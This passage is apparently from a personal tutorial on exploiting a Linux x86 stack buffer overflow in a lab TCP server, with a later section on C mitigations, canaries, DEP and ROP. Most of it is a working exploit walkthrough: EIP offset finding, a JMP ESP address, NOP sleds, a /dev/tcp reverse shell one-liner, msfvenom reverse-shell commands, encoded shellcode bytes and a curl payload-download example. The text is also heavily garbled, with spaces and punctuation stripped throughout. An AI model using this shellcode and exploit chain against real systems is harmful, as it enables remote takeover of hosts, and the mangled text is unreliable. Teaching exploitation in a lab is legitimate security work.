python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

